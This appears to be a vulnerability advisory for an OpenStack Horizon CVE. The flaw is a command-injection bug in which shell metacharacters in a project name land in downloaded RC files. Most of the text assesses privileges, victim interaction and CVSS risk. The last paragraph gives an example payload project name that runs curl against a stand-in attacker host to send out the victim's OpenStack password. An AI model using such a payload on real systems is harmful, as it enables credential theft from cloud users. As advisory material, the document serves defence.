OpenStack Horizon CVE-2026-55748

Exploitation requires the following specific conditions to all be true simultaneously: (1) the attacker must possess OpenStack project creation or project rename privileges - a high-privilege role (PR:H per CVSS) such as cloud admin or a delegated project admin - in order to set a malicious project name containing shell metacharacters; (2) a victim user must subsequently navigate to Horizon, select that specific project, and download the OpenStack RC file for it; and (3) the victim must execute (source) the RC file in a POSIX-compatible shell session. Exploitation is limited by: the requirement for high attacker privileges (not an unauthenticated or low-privilege attack), mandatory victim interaction (the victim must actively download and source the file), the High attack complexity reflecting this multi-step chain, and the fact that impact is scoped to the victim's local shell session rather than the cloud control plane. Non-default in the sense that project names containing shell metacharacters represent an unusual (though not prevented) configuration prior to the fix.

The CVSS 3.1 base score of 6.0 with vector AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L correctly signals moderate-to-medium real-world risk. PR:H (High privileges required) is the most significant limiting factor: exploitation requires the ability to create or rename an OpenStack project with a malicious name, which is typically restricted to cloud administrators. Combined with AC:H and UI:R - meaning a target user must also independently download and execute the RC file - the attack chain has multiple prerequisite steps that must align. EPSS data was not provided, so exploitation probability cannot be quantified. No KEV listing confirms active exploitation, and no POC has been publicly identified. The disputed framing in the CVE description (some parties treating this as a hardening opportunity, not a vulnerability) is consistent with the PR:H restriction: a rogue or compromised admin is needed. For environments with strict admin access controls, real-world risk is low. For multi-tenant clouds where project creation is delegated broadly, risk is meaningfully higher.

An OpenStack administrator (or any user delegated project creation rights) creates a project named something like 'prod$(curl attacker.com/exfil?k=$OS_PASSWORD)' in a multi-tenant cloud. When a developer or operator navigates to that project in Horizon and downloads the RC file for CLI use, Horizon generates a script containing that unsanitized name. The moment the victim runs 'source openrc.sh' in their terminal, the embedded command substitution executes, potentially exfiltrating credentials or executing attacker-controlled payloads in the victim's local environment. No public POC has been identified, but the CWE-78 class is trivially exploitable once preconditions are met.